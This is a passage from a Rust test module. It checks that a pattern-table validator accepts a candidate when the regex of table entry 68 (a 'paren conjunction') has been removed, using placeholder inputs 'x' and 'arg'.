886                contexts: entry.entry.contexts,
887                category: entry.entry.category,
888            },
889            re: None,
890        };
891        assert!(candidate_accepts(
892            &stripped_entry,
893            "x",
894            Candidate::new(0, 1),
895            "arg"
896        ));
897    }
898}
899
900#[cfg(test)]
901mod gap_tests {
902    use super::*;
903
904    #[test]
905    fn the_conjunction_validator_falls_back_to_accepting_when_uncompiled() {
906        // id 68 (paren conjunction) with its regex stripped: the fallback
907        // accepts rather than silently filtering
908        let entry = COMPILED_TABLE.iter().find(|e| e.entry.id == 68).unwrap();
909        let stripped_entry = CompiledEntry {
910            entry: crate::patterns::table::TableEntry {
911                id: entry.entry.id,
912                source: entry.entry.source,
913                contexts: entry.entry.contexts,
914                category: entry.entry.category,
915            },
916            re: None,
917        };
918        assert!(candidate_accepts(
919            &stripped_entry,
920            "x",
921            Candidate::new(0, 1),
922            "arg"
923        ));
924    }
925}